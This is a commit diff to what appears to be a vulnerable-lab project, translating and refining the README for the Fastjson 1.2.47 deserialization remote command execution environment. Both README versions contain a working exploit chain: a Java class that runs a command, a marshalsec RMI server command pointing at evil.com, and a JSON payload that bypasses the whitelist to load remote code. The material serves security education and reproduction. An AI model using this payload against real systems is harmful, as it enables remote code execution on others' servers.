Update Fastjson 1.2.47 RCE vulnerability documentation

- Refine environment name in environments.toml to clarify deserialization RCE
- Remove Docker Compose version specification
- Translate README to English
- Add Chinese version README (README.zh-cn.md)
- Improve documentation clarity and language

environments.toml

@@ -383,7 +383,7 @@ app = "Fastjson"
 path = "fastjson/1.2.24-rce"
 
 [[environment]]
-name = "Fastjson 1.2.47 Remote Command Execution"
+name = "Fastjson 1.2.47 Deserialization Remote Command Execution"
 cve = []
 app = "Fastjson"
 path = "fastjson/1.2.47-rce"

fastjson/1.2.47-rce/README.md

@@ -1,27 +1,29 @@
-# Fastjson 1.2.47 远程命令执行漏洞
+# Fastjson 1.2.47 Deserialization Remote Command Execution
 
-Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
+[中文版本(Chinese version)](README.zh-cn.md)
 
-参考链接：
+Fastjson is a JSON parser developed by Alibaba, known for its superior performance and widely used in Java projects across various companies. After version 1.2.24, Fastjson added a deserialization whitelist. However, in versions prior to 1.2.48, attackers could bypass the whitelist check using specially crafted JSON strings and successfully execute arbitrary commands.
 
-- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
-- https://www.freebuf.com/vuls/208339.html
+References:
 
-## 漏洞环境
+- <https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955>
+- <https://www.freebuf.com/vuls/208339.html>
 
-执行如下命令启动一个spring web项目，其中使用fastjson作为默认json解析器：
+## Environment Setup
+
+Execute the following command to start a Spring web project that uses Fastjson 1.2.45 as its default JSON parser:
 
 ```shell
 docker compose up -d
 ```
 
-环境启动后，访问`http://your-ip:8090`即可看到一个json对象被返回，我们将content-type修改为`application/json`后可向其POST新的JSON对象，后端会利用fastjson进行解析。
+After the server starts, visit `http://your-ip:8090` to see a JSON object returned. You can POST new JSON objects by changing the content-type to `application/json`, and the backend will use Fastjson to parse them.
 
-## 漏洞复现
+## Vulnerability Reproduction
 
-目标环境是`openjdk:8u102`，这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制，我们可以简单利用RMI进行命令执行。
+The target environment is `openjdk:8u102`, which doesn't have the `com.sun.jndi.rmi.object.trustURLCodebase` restriction. We can easily execute commands using RMI.
 
-首先编译并上传命令执行代码，如`http://evil.com/TouchFile.class`：
+First, compile and upload the command execution code, such as `http://evil.com/TouchFile.class`:
 
 ```java
 // javac TouchFile.java
@@ -42,13 +44,13 @@ public class TouchFile {
 }
 ```
 
-然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目，启动一个RMI服务器，监听9999端口，并制定加载远程类`TouchFile.class`：
+Then, using the [marshalsec](https://github.com/mbechler/marshalsec) project, start an RMI server listening on port 9999 and specify loading the remote class `TouchFile.class`:
 
 ```shell
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
 ```
 
-向靶场服务器发送Payload：
+Send the payload to the target server:
 
 ```
 {
@@ -66,8 +68,8 @@ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://
 
 ![](1.png)
 
-可见，命令`touch /tmp/success`已成功执行：
+As shown below, the command `touch /tmp/success` has been successfully executed:
 
 ![](2.png)
 
-更多利用方法请参考JNDI注入相关知识。
+For more exploitation methods, please refer to JNDI injection related knowledge.

fastjson/1.2.47-rce/README.zh-cn.md

@@ -0,0 +1,73 @@
+# Fastjson 1.2.47 远程命令执行漏洞
+
+Fastjson 是阿里巴巴公司开源的一款 JSON 解析器，其性能优越，被广泛应用于各大厂商的 Java 项目中。Fastjson 于 1.2.24 版本后增加了反序列化白名单，而在 1.2.48 以前的版本中，攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测，成功执行任意命令。
+
+参考链接：
+
+- <https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955>
+- <https://www.freebuf.com/vuls/208339.html>
+
+## 环境搭建
+
+执行如下命令启动一个 Spring Web 项目，其中使用 Fastjson 作为默认 JSON 解析器：
+
+```shell
+docker compose up -d
+```
+
+环境启动后，访问 `http://your-ip:8090` 即可看到一个 JSON 对象被返回。我们将 Content-Type 修改为 `application/json` 后可向其 POST 新的 JSON 对象，后端会使用 Fastjson 进行解析。
+
+## 漏洞复现
+
+目标环境是 `openjdk:8u102`，这个版本没有 `com.sun.jndi.rmi.object.trustURLCodebase` 的限制，我们可以简单利用 RMI 进行命令执行。
+
+首先编译并上传命令执行代码，如 `http://evil.com/TouchFile.class`：
+
+```java
+// javac TouchFile.java
+import java.lang.Runtime;
+import java.lang.Process;
+
+public class TouchFile {
+    static {
+        try {
+            Runtime rt = Runtime.getRuntime();
+            String[] commands = {"touch", "/tmp/success"};
+            Process pc = rt.exec(commands);
+            pc.waitFor();
+        } catch (Exception e) {
+            // do nothing
+        }
+    }
+}
+```
+
+然后使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 `TouchFile.class`：
+
+```shell
+java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
+```
+
+向目标服务器发送 Payload：
+
+```
+{
+    "a":{
+        "@type":"java.lang.Class",
+        "val":"com.sun.rowset.JdbcRowSetImpl"
+    },
+    "b":{
+        "@type":"com.sun.rowset.JdbcRowSetImpl",
+        "dataSourceName":"rmi://evil.com:9999/Exploit",
+        "autoCommit":true
+    }
+}
+```
+
+![](1.png)
+
+如下图所示，命令 `touch /tmp/success` 已成功执行：
+
+![](2.png)
+
+更多利用方法请参考 JNDI 注入相关知识。

fastjson/1.2.47-rce/docker-compose.yml

@@ -1,4 +1,3 @@
-version: '2'
 services:
  web:
    image: vulhub/fastjson:1.2.45